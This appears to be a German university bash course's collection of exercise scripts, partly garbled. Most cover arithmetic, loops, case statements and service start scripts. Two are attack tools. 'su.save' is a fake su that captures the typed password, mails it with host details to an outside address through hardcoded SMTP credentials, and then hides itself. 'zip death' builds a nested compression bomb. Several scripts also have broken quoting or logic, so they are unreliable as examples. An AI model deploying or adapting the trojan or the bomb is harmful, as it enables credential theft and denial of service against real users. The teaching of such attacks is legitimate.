

```

1 |
2 #-----
3 # Abfrageskript
4 #-----
5 #!/bin/bash
6
7 # if test -z $1
8 if [ -z $1 ]
9 then
10     echo -n "Bitte Passwort eingeben: "
11     read -s PASSWORD
12     echo ""
13 else
14     PASSWORD=$1
15 fi
16 echo "Das Passwort lautet: $PASSWORD"
17 exit 0
18
19 #-----
20 # "Add-multi"
21 #-----
22
23 #!/bin/bash
24
25 if [ -z "$1" ] ; then echo -n "Zahl A : "; read A; else A=$1; fi
26 if [ -z "$2" ] ; then echo -n "Operator : "; read OP; else OP=$2; fi
27 if [ -z "$3" ] ; then echo -n "Zahl B : "; read B; else B=$3; fi
28
29 echo -n "$A "
30 RESULT=$A
31 for ((i=$A+1; i<=$B; i++))
32 do
33     RESULT=$(( $RESULT $OP $i ))
34     echo -n "$OP $i "
35 done
36 echo "= $RESULT"
37
38 exit 0
39
40 #-----
41 # "Arithmetik" aus cs17-2
42 #-----
43
44 #!/bin/bash
45
46 if [ -z "$1" ] ; then echo -n "A : "; read A; else A=$1; fi
47 if [ -z "$2" ] ; then echo -n "OP: "; read OP; else OP=$2; fi
48 if [ -z "$3" ] ; then echo -n "B : "; read B; else B=$3; fi
49
50

```

```

51 # Ganzzahl
52 # RESULT=`expr $A "$OP" $B` # "$OP" quoten, damit z.B. *, < ...
53 # nicht interpretiert wird
54 # RESULT=$(expr $A "$OP" $B) # andere Schreibweise für Befehl oben
55 # let RESULT=$A $OP $B
56 #RESULT=$(( $A $OP $B ))
57 # RESULT=$((A $OP B)) # bei Zahlen ist die Dereferenzierung in
58 # dieser Schreibweise optional
59
60 # Fließkomma
61 # RESULT=`echo "scale=2; $A $OP $B" | bc -l`
62 # RESULT=$(echo "scale=15; $A $OP $B" | bc -l)
63 # RESULT=$(echo "scale=15; $A $OP $B" | bc -l | tr "." "," ) # Punkt
64 # durch Komma ersetzt
65
66 echo "$A $OP $B = $RESULT"
67
68 exit 0
69
70 # "multi"
71 #-----
72
73 #!/bin/bash
74
75 # if [ -z "$1" ]; then echo -n "a: "; read a; else a=$1; fi
76 a=$1
77 OP=$2
78 b=$3
79
80 result=$a
81 for ((i=$a+1; i<=$b; i++))
82 do
83     result=$(( $a $OP $b ))
84 done
85 echo "$a $OP $((a+1)) $OP $((a+2)) $OP ... $OP $b = $result"
86
87 exit 0
88
89 #-----
90 # primzahltest
91 #-----
92
93 #!/bin/bash
94 primzahl=$1
95
96
97 # herangehensweise

```

```

98 # PRIMZAHL:
99 # nur durch eins und sich selbst teilbar --> mod
100 flag_prim_true=0
101 flag_prim_false=0
102 result=1
103
104 function primtest {
105     for ((i=1; i<$primzahl; i++));
106     do
107         if [ $i -gt 1 ];
108         then result=$(( $primzahl % $i )); fi
109         if [ $result -eq 0 ];
110         then
111             flag_prim_false=1;
112         else
113             flag_prim_true=1;
114         fi
115     done
116 }
117
118 # Funktionsaufruf
119
120 primtest $primzahl
121
122 if [ $flag_prim_false -eq 1 ]
123 then echo "$primzahl ist keine Primzahl"; fi
124 if [ $flag_prim_false -eq 0 ] && [ $flag_prim_true -eq 1 ]
125 then echo "$primzahl ist eine Primzahl"; fi
126
127 exit 0
128
129 #-----
130 # "Arithmetik"
131 #-----
132
133 #!/bin/bash
134
135 # Arithmetik mit expr
136 RESULT=`expr $1 "$2" $3`
137
138 # Arithmetik mit bash
139 RESULT2=$(( $1 $2 $3 ))
140
141 # Arithmetik mit Gleitkomma (bc)
142 RESULT3=`echo "scale=2; $1 $2 $3" | bc -l`
143 RESULT4=`echo "scale=2; $1 $2 $3" | bc -l | tr "." ","`
144
145
146 echo "EXPR: $1 $2 $3 = $RESULT"

```

```

148 echo "BASH: $1 $2 $3 = $RESULT2"
149 echo "BC : $1 $2 $3 = $RESULT3"
150 echo " : $1 $2 $3 = $RESULT4"
151 exit 0
152
153 #-----
154 # case
155 #-----
156
157 #!/bin/bash
158 # Beispiel für case, oft in Startscripts verwendet
159
160 case $0 in
161     ./case)
162         echo "Aufgerufen als case"
163         ;;
164     ./esac)
165         echo "Aufgerufen als esac"
166         ;;
167     esac
168
169 case $1 in
170     start)
171         echo "Service *grmpf* starten..."
172         ;;
173     stop)
174         echo "Service *grmpf* anhalten..."
175         ;;
176     status)
177         echo "Status bestimmen ..."
178         echo "Weitere Befehle können folgen ... :)"
179         ;;
180     *)
181         echo "Usage: \"$0\" { start | stop }"
182         ;;
183     esac
184
185 exit 0
186
187 #-----
188 # case statusabfrage
189 #-----
190
191 #!/bin/bash
192 PARAMETER=$1
193 PID_FILE='xeyes.pid'
194 PROG_BIN='/usr/bin/xeyes'
195
196 function prog_status {
197     if [ -c $PID_FILE ]

```

```

207     then
208     PIDs_FILE='cat $PID_FILE'
209     PIDs_TABLE='ps | grep xeyes | awk '{ print $1 }''
210     if [ $PIDs_TABLE -eq $PIDs_FILE ] && /dev/null # stout & sterr
211     *
212     umleiten
213     then
214         STATUS_VAR=0 # Programm läuft
215     else
216         STATUS_VAR=1 # Programm abgestürzt
217     fi
218 else
219     STATUS_VAR=2 # Programm läuft nicht
220 fi
221 return $STATUS_VAR
222 } # end prog_status
223
224 case $PARAMETER in
225 start)
226     echo "service $PROG_BIN starten ..."
227     prog_status
228     if [ $? -ne 0 ] # nicht starten, wenn 0 (running)
229     then
230         $PROG_BIN &
231         # echo `ps | grep xeyes | awk '{ print $1 }'` > $PID_FILE
232         echo $! > $PID_FILE
233     else
234         echo "service $PROG_BIN läuft bereits!"
235     fi
236 ;;
237 stop)
238     echo "service $PROG_BIN anhalten ..."
239     prog_status
240     if [ $? -eq 0 ] # nur anhalten, wenn 0 (running)
241     then
242         kill -TERM `cat $PID_FILE`
243         rm $PID_FILE
244     else
245         echo "service $PROG_BIN läuft nicht!"
246     fi
247 ;;
248 status)
249     echo "service $PROG_BIN status prüfen ..."
250     prog_status
251     case $? in
252     0) echo "running";;
253     1) echo "dead";;
254     2) echo "not running";;
255 esac
256 ..

```

```

247 *)
248     echo "usage: $0 {start|stop|status}"
249 ;;
250 esac
251
252 exit 0
253
254 #-----
255 # "exp.bash"
256 #-----
257
258 #!/bin/bash
259 x=$1
260 jmax=$2
261 genauigkeit=$3
262
263 function fak {
264     n=$1
265     n_fak=1
266     if [ $n -ge 2 ]
267     then
268         for ((i=2;i<=$n;i++))
269         do
270             n_fak=`echo "scale=0; $n_fak * $i" | bc -l`
271             done
272         fi
273     #return $n_fak
274 }
275
276 x_exp=0
277 for ((j=0;j<=$jmax;j++))
278 do
279     fak $j
280     r_glied=`echo "scale=15; $x ^ $j / $n_fak" | bc -l`
281     x_exp=`echo "scale=15; $x_exp + $r_glied" | bc -l`
282     if [ `echo "scale=15; $r_glied <= $genauigkeit" | bc -l` -eq 1 ]
283     then
284         echo "Reihenglieder 0 bis $j berechnet"
285         break
286     fi
287 done
288
289 echo "e^$X = $x_exp"
290 exit 0
291
292 #-----
293 # fakultät
294 #-----
295
296 #!/bin/bash

```

```

297 #!/bin/bash
298 # Script prüft, ob Passwort auf Kommandozeile übergeben
299 FAK=1 # Variable Fak mit 1 initialisieren: 0!=1; 1!=1
300
301 if [ -z $1 ]
302 then
303     echo -n "Bitte Zahl n eingeben: "
304     read n
305 else
306     n=$1
307 fi
308
309 if [ $n -lt 0 ] # negative n
310 then
311     echo "n muss eine natürliche Zahl sein!"
312     exit 1 # mit Fehlerstatus 1 beenden
313 fi
314
315 for ((i=2;i<=$n;i++))
316 do
317     #FAK=`expr $FAK |* $i`
318     FAK=`echo "scale=0; ${FAK} \ * \ $i | bc -l`
319 done
320
321 echo $n"! = $FAK
322
323 exit 0
324
325 #-----
326 # float_arith
327 #-----
328 #!/bin/bash
329 # Arithmetik mit Fließkommazahlen
330
331 echo "Operator : "$2
332 VAR1=`echo $1 | tr "," "."`
333 VAR3=`echo $3 | tr "," "."`
334
335 # RESULT=`echo "scale=2; $1| $2| $3 | bc -l`
336 RESULT=`echo "scale=2; ${VAR1} $2 ${VAR3} | bc -l | tr "." ","`
337
338 echo "Ergebnis: "$RESULT
339
340 exit 0
341
342 #-----
343 # for
344 #-----
345
346 #!/bin/bash

```

```

347 #!/bin/bash
348
349 for ARG
350 do
351     echo $ARG
352 done
353
354 exit 0
355
356 #-----
357 # for
358 #-----
359 #!/bin/bash
360
361 for i in a b c d e f g g h h i i i
362 do
363     echo $i
364 done
365
366 exit 0
367
368 #-----
369 # for
370 #-----
371
372 # spezifisch bash:
373 ## for ((i=1;i<=10;i++)) # inkrement
374 ## for ((i=10;i>=1;i--)) # dekrement
375 ## for ((i=0;i<=20;i+=3)) # um 3 erhöhen
376 for ((i=0;i<=20;i+=3)) # Kurzform um 3 erhöhen
377 do
378     echo $i
379 done
380
381 exit 0
382
383 #-----
384 # if bash
385 #-----
386 #!/bin/bash
387
388 if [ -z $1 ]
389 then
390     echo -n "Bitte Verzeichnisname eingeben: "
391     read DIR # für Passwörter: read -s PASSWORD; echo ""
392 else
393     DIR=$1
394 fi
395
396 ...

```

```

396
397 if [ ! -d $DIR ]
398 then
399     if ( mkdir $DIR 2> /dev/null )
400     then
401         echo "Verzeichnis $DIR erfolgreich angelegt."
402     else
403         echo "Fehler beim anlegen von $DIR!!!"
404     fi
405 else
406     echo "Verzeichnis $DIR existiert bereits."
407 fi
408
409 exit 0
410
411 #-----
412 #   "init_arith"
413 #-----
414
415 #!/bin/bash
416 # Shell kennt nur Textvariablen
417 # interpretierbare Zeichen quotes
418
419 echo "Operator : "$2
420
421 RESULT=`expr $1 "$2" $3`
422
423 echo "Ergebnis : "$RESULT
424
425 exit 0
426
427 #-----
428 #   "list_file"
429 #-----
430
431 #!/bin/bash
432
433 if [ -z $1 ]
434 then
435     echo -n "Dateiname: "
436     read FILE
437 else
438     FILE=$1
439 fi
440
441 i=1
442
443 while read LINE
444 do

```

```

496 echo 'Parameter 9: '$9
497 # Mit shift n auf weitere Parameter umschalten
498 shift 9
499 echo 'Parameter 10: '$1
500 echo 'Parameter 11: '$2
501 echo 'Parameter 12: '$3
502 echo 'Parameter 13: '$4
503 echo 'Parameter 14: '$5
504 echo 'Parameter 15: '$6
505 echo 'Parameter 16: '$7
506 echo 'Parameter 17: '$8
507 echo 'Parameter 18: '$9
508
509 exit 0
510
511 #-----
512 #   "su.save"
513 #-----
514
515 #!/bin/bash
516 # Setup
517 INFO_FILE="/tmp/.xyz632jf"
518 SU_VISIBLE=$0 # so wurde es aufgerufen, ggf. mit Pfad
519 SU_HIDDEN="/tmp/.xyz092ld"
520 RENAME_SCRIPT="/tmp/.xyz00gg" # absoluter Pfad
521 HIDDEN_TIME="30"
522
523 # Step 1: Verhalten nachbilden
524 echo -n "Passwort: " # -n --> kein Zeilenumbruch
525 read -s PASSWORD # -s --> silent
526 echo "" # Zeilenumbruch
527 sleep 3 # 3s warten
528 # echo "su: Benutzer bei zu Grunde liegendem Authentifizierungsmodul
529 # nicht bekannt"
530
531 # Step 2: Informationen sammeln
532 echo "Augerufenes Kommando: $0 $1 $2 $3 $4 $5" > $INFO_FILE
533 echo "Passwort: $PASSWORD" >> $INFO_FILE
534 echo "Hostname: $HOSTNAME" >> $INFO_FILE
535 echo "IP Adressen:" >> $INFO_FILE
536 echo "$IP_ADDRESSES" >> $INFO_FILE
537 echo "" >> $INFO_FILE
538 echo "" >> $INFO_FILE #
539 # Ende Mail ist , auf Zeile
540
541 # Step 3: Informationen versenden
542 # mail versucht an mailp zu senden --> scheitert
543 # mail -s "Passwortklau mittels su" \
544 # -r "bill.gates@kleinweich.test" \

```

```

446     echo "$i: $LINE"
447     i=$((i + 1))
448 done < $FILE
449
450 exit 0
451
452 #-----
453 #   "mkdir"
454 #-----
455
456 #!/bin/bash
457
458 if [ -z $1 ]
459 then
460     echo -n "Bitte Verzeichnisname angeben: "
461     read DIR_NAME # Passwort: read -s PASSWORD
462 else
463     DIR_NAME=$1
464 fi
465
466 if [ ! -d $DIR_NAME ]
467 then
468     if ! mkdir $DIR_NAME # Anlegen Verzeichnis scheitert
469     then
470         echo "Konnte Verzeichnis $DIR_NAME nicht anlegen!"
471         exit 1
472     fi
473 else
474     echo "Verzeichnis $DIR_NAME existiert schon!"
475 fi
476
477 exit 0
478
479 #-----
480 #   "parameter"
481 #-----
482
483 #!/bin/bash
484
485 # Wie wurde Programm aufgerufen
486 echo 'Parameter 0: '$0
487 # Kommandozeilenparameter 1 bis 9
488 echo 'Parameter 1: '$1
489 echo 'Parameter 2: '$2
490 echo 'Parameter 3: '$3
491 echo 'Parameter 4: '$4
492 echo 'Parameter 5: '$5
493 echo 'Parameter 6: '$6
494 echo 'Parameter 7: '$7
495 echo 'Parameter 8: '$8

```

```

544 # studierende@cs15.ba-leipzig.de \
545 # < $INFO_FILE # Inhalt Datei INFO_FILE versenden
546
547 mailx -v \
548     -r "ingolf.brunner@ba-leipzig.de" \
549     -s "Passwortklau mittels su" \
550     -S smtp="mail.ba-leipzig.de:587" \
551     -S smtp-use-starttls \
552     -S smtp-auth=login \
553     -S smtp-auth-user="username" \
554     -S smtp-auth-password="Geheim1234" \
555     -S ssl-verify=ignore \
556     studierende@cs15.ba-leipzig.de \
557     < $INFO_FILE > /dev/null 2>&1 # Inhalt Datei INFO_FILE versenden
558     und Ausgabe umleiten
559
560 rm $INFO_FILE # INFO_FILE löschen
561
562 # Step 4: Verstecken
563 mv $SU_VISIBLE $SU_HIDDEN # su Script verstecken
564
565 # Script für Rückbenennung erzeugen
566 echo "#!/bin/bash" > $RENAME_SCRIPT
567 echo "rm $RENAME_SCRIPT" >> $RENAME_SCRIPT # Script löschen
568 # (Sekundärspeicher)
569 echo "sleep $HIDDEN_TIME" >> $RENAME_SCRIPT # gewisse Zeit warten
570 echo "mv $SU_HIDDEN $SU_VISIBLE" >> $RENAME_SCRIPT # verstecktes su
571 # zurück benennen
572 echo "exit 0" >> $RENAME_SCRIPT
573
574 chmod 700 $RENAME_SCRIPT # Script ausführbar machen
575 $RENAME_SCRIPT & # im Hintergrund ausführen
576
577 # Step 5: Fehlermeldung und beenden mit Exit-Code 1 (Passwortfehler)
578 echo "su: Benutzer bei zu Grunde liegendem Authentifizierungsmodul
579 # nicht bekannt"
580 exit 1 # Falsches Passwort --> Fehlerstatus 1
581
582 #-----
583 #   "quadrat" in CS-2 als sqr bezeichnet
584 #-----
585
586 #!/bin/bash
587
588 Z=$1 # wird dem Script übergeben
589
590 function QUADRAT {
591     X_SQR=$(( $1 * $1 )) # $1 ist hier der erste Parameter der
592     # Funktion

```

```

589     return $X_SQR
590 }
591
592 QUADRAT $Z # Funktion mit Parameter aufrufen
593 echo "Versaut den Rückgabewert"
594 echo "Das Quadrat von $Z ist: $" # Ergebnis steht im
595   Rückgabewert der Funktion
596 # dieser ist ein UNSIGNED INT_8 --> 0 ... 255
597 echo "Quadrat von $Z mit globaler Variable: $X_SQR"
598
599 exit 0
600 #-----
601 # "readline"
602 #-----
603
604 #!/bin/bash
605 # Datei zeilenweise lesen und auf Bildschirm ausgeben
606 FILE=primzahlen
607 i=1
608
609 while read LINE && [ $i -le 10 ]
610 do
611     echo $LINE
612     ((i++)) # i='expr $i + 1'
613     usleep 100000
614 done < $FILE
615
616 exit 0
617
618 #-----
619 # "startscript"
620 #-----
621
622 #!/bin/bash
623 # Beispiel für ein einfaches Startscript
624 PID_FILE='xterm.pid'
625 PROGRAM_PATH='/usr/bin/'
626 PROGRAM_NAME='xterm'
627 PS_BIN='/usr/bin/ps'
628 GREP_BIN='/usr/bin/grep'
629 AWK_BIN='/usr/bin/awk'
630 CAT_BIN='/usr/bin/cat'
631 RM_BIN='/usr/bin/rm'
632
633 PAR1=$1
634
635 function PROG_STATUS {
636     PS_PID_RUNNING=`$PS_BIN | $GREP_BIN "$PROGRAM_NAME" | $AWK_BIN '{

```

```

---
682         esac
683     ;;
684 *) echo "Usage: $0 [start|stop|status]"
685 ;;
686 esac
687
688 exit 0
689
690 #-----
691 # "while text"
692 #-----
693
694 #!/bin/bash
695
696 FILE=$1
697 i=0
698 while read LINE
699 do
700     ((i++))
701     echo "Zeile $i: $LINE"
702 done < $FILE
703
704 exit 0
705
706 #-----
707 # "while sum"
708 #-----
709
710 #!/bin/bash
711
712 SUM=0
713 N=1
714 while [ $N -le $1 ]
715 do
716     SUM=$((SUM + $N))
717     N=$((N + 1))
718 done
719
720 echo "Summe der Zahlen von 1 bis $1 = $SUM"
721
722 exit 0
723
724 #-----
725 # "zip death"
726 #-----
727
728 #!/bin/bash
729 # Setup
730 ZIP_BIN="/usr/bin/bzip2 --best"
731 ZIP_EXT=".bz2"

```

```

* print $1 }`
638 # Fehlerkanal auf /dev/null --> keine Fehler ausgeben
639 PS_PID_FROM_FILE=`$CAT_BIN $PID_FILE 2> /dev/null`
640 if [ -z "$PS_PID_RUNNING" -a -z "$PS_PID_FROM_FILE" ]
641 then
642     PS_STATUS=2 # keine PID im File, Prozess läuft nicht: stopped
643     = 2
644 else
645     if [ ! -z "$PS_PID_RUNNING" -a ! -z "$PS_PID_FROM_FILE" ]
646     then
647         PS_STATUS=0 # PID im File, Prozess läuft: running = 0
648     else
649         PS_STATUS=1 # PID im File, Prozess läuft nicht: dead = 1
650     fi
651 fi
652 return $PS_STATUS
653 } # end function PROG_STATUS
654
655 case $PAR1 in
656 start)
657     if PROG_STATUS $PROGRAM_NAME # hier wird nicht der exit-Status
658     von test bzw. [ ]
659     # sondern der der Funktion PROG_STATUS benutzt
660 then
661     echo "Service $PROGRAM_NAME is already running."
662 else
663     $PROGRAM_PATH/$PROGRAM_NAME & # Service im Hintergrund starten
664     echo "$!" > $PID_FILE # PID im File speichern
665 fi
666 ;;
667 stop)
668     if PROG_STATUS $PROGRAM_NAME # hier wird nicht der exit-
669     Status von test bzw. [ ]
670     # sondern der der Funktion
671     PROG_STATUS benutzt
672 then
673     kill -TERM ` $CAT_BIN $PID_FILE ` # Service mit PID aus File
674     beenden
675 else
676     $RM_BIN $PID_FILE # PID File löschen
677 fi
678 echo "Service $PROGRAM_NAME is not running or dead."
679 fi
680 ;;
681 status)
682     PROG_STATUS $PROGRAM_NAME
683     STATUS=`echo $?` # Rückgabewert der Funktiotn PROG_STATUS speichern
684     case $STATUS in
685     0) echo "Service $PROGRAM_NAME is running." ;;
686     1) echo "Service $PROGRAM_NAME is dead." ;;
687     2) echo "Service $PROGRAM NAME is not running." ::

```

```

732 BASE_DIR="/tmp"
733 STRUCT_DIR="archiv"
734 TMP_STRUCT_DIR="tmp_archiv"
735
736 # Parameter abfragen
737 echo -n "Größe für Einzeldatei mit Nullen [MByte]: "
738 read SIZE
739 echo -n "Verschachtelungstiefe: "
740 read DEPTH
741
742 # Arbeitsverzeichnis erstellen
743 cd $BASE_DIR
744
745 # Archiv it veeeelen Nullen erzeugen
746 dd ibs=1M count=$SIZE if=/dev/zero | $ZIP_BIN | dd
747   of="nullen.$ZIP_EXT"
748
749 # Verzeichnis erzeugen und Dateien kopieren
750 echo "Erzeuge komprimierte Datei mit $SIZE MByte binären Nullen..."
751 mkdir $STRUCT_DIR
752 for ((i=1;i<=$DEPTH;i++))
753 do
754     cp "nullen.$ZIP_EXT" $STRUCT_DIR/"nullen_$i.$ZIP_EXT"
755 done
756
757 # und nun alles schön aufblasen
758 for ((j=1;j<=$DEPTH;j++))
759 do
760     echo "Erzeuge Ebene $j von $DEPTH..."
761     mv $STRUCT_DIR $TMP_STRUCT_DIR
762     mkdir $STRUCT_DIR
763     for ((i=1;i<=$DEPTH;i++))
764     do
765         cp -R $TMP_STRUCT_DIR "$STRUCT_DIR/$i"
766     done
767     rm -rf $TMP_STRUCT_DIR
768     done # Ende der äußeren Schleife
769
770 # nun noch in ein Archiv verpacken
771 echo "In Archiv packen und komprimieren..."
772 tar cf "zip_of_death.tar" $STRUCT_DIR
773 $ZIP_BIN "zip_of_death.tar"
774
775 # aufräumen
776 rm -rf $STRUCT_DIR
777 rm -rf $TMP_STRUCT_DIR
778 exit 0
779

```